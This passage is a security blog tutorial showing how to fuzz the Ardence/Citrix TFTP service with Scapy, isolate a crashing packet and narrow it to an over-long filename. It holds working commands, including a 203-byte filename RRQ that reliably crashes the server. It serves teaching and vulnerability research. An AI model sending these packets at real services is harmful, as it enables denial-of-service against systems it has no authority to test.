dst : Emph = '10.1.2.3' ('127.0.0.1')
options : IPoptionsField = '' ('')
--
sport : ShortEnumField = 53 (53)
dport : ShortEnumField = 69 (69)
len : ShortField = None (None)
chksum : XShortField = None (None)
--
op : ShortEnumField = 1 (1)
--
filename : StrNullField = 'aaaa' ('')
mode : StrNullField = 'octet' ('octet')


For those of you not familiar with Scapy, the rightmost column shows the default settings, and the second from the right shows the settings we are using. Now, on to fuzzing...

>>> send(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))


To fuzz with scapy we just wrap a portion with fuzz(). Any properties that aren't set will contain randomly generated junk. Let's take a look, via 'ls', and see what the packet looks like.

>>> ls(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))
<snip>
--
filename : StrNullField = <RandTermString> ('')
mode : StrNullField = 'octet' ('octet')


Note the value for the filename property, RandTermString. This means every time we send the packet it will generate a random string. Now to fuzz the service and see what happens.

>>> pkt = IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet'))
>>> send(pkt, loop=1)

................................................................^C
Sent 64 packets.


We use 'send' to send the packet, the 'loop' option just tells python to keep sending packets. Each time the packet is sent we have a different random file name, and within the first 64 packets the service crashed. Sweet! We have confirmed the problem is with the 'filename' attribute, now to get a bit more surgical.

After poking around with the TFTP service I noticed there is a -debug switch, which allows it to be run from the command line. This means we don't have to restart the service and we can just run the executable from the command line. This can be used to automatically restart the TFTP server.

C:\> for /L %i in (1, 0, 2) do ArdenceTFTP.exe -debug && echo ^G


This is an infinite loop, the variable %i will start at 1, be incremented by 0, and the loop will end when %i equals 2. Obviously, %i will never equal 2 so our loop will repeat forever (or until we break out of it). The executable is run with the debug option so we don't have to restart the service. The double ampersands allows the second command (echo) to run only after the first (ArdenceTFTP.exe) has completed. The echo ^G (typed with ctrl+G not caret+G) will give us a beep to alert us that the first command has exited, which in our case a crash. This will automatically restart the TFTP server and give us an audio cue when the application crashes.

In addition, we also need to turn off the notifications in Windows so we don't get notified on every crash. Normally, the prompt waits for someone to click "Close the Program" before it officially closes the program. This would seriously slow down our progress. Fortunately, there is a registry setting we can modify to turn off this feature.

C:\> reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f


This command updates the Windows Error Reporting registry key and sets the value of DontShowUI to 1. We have to use the Force (/f) option so it will overwrite the existing value. A quick aside, you can check out some of the command line kung fu over at the Command Line Kung Fu Blog to learn how to use command line tricks to save yourself time. Now back to your regular scheduled programming...

I fired up WireShark to capture our traffic so we can look at the offending packet (yes, I know we can use Scapy, but I didn't). I then begin firing the fuzzy packets at our server.

We can use the 'inter' option with 'send' to slow down the speed at which packets are sent so we can better determine which packet crashed the TFTP server. This option 'inter' is the time in seconds to wait between each packet being sent. Thanks to your earlier command line kung fu, when we hear a beep on our Windows machine, we can stop sending packets. I like to think Windows is cursing at me when the beeping begins, but I digress.

>>> send(pkt, loop=1, inter=1)
.......^C
Sent 7 packets.


Now we save the packet capture in WireShark and open it up in Scapy using rdpcap.

>>> pkts=rdpcap('tftpkilla.pcap')
>>> pkts
<tftpkilla.pcap: TCP:0 UDP:7 ICMP:0 Other:0>


Now let's see which packet was our killer.

>>> sendp(pkts[0])
.
Sent 1 packets. <no beep>
>>> sendp(pkts[1])
.
Sent 1 packets. <no beep>
>>> sendp(pkts[2])
.
Sent 1 packets. <BEEP!!!>


We can grab just the offending packet:
>>> killa=pkts[2]
>>> sendp(killa)


Oh yeah! I can send this packet and kill the TFTP server every time!

We use 'sendp' in this case since our packet caputure has the layer 2 headers, 'send' is used when you only have layer 3 (IP) headers.

Now, let's look at some of the info on the filename.

>>> len(killa.filename)
396


Hrm...I wonder if just the length of the filename what makes our killa so potent.

>>> send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename="A"*396))
.
Sent 1 packets. <BEEP!!!>


Using a payload of 396 A's we can cause a crash. So the payload doesn't seem to matter, but the length does. After narrowing this down, I find that 203 bytes will cause death.

>>> send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename="A"*203))


Cool, so now we know the problem. What can we do from here? We could see if we can overflow a buffer and cause remote code execution, but I took a look at it with a debugger and no luck. We may not be able to take over the server, but we can make it angry.

By the way, this bug has been resolved in the most recent version of Citrix Provisioning Server.

No go out and start fuzzing yourself, but don't try this on any of your (or other people's) production services.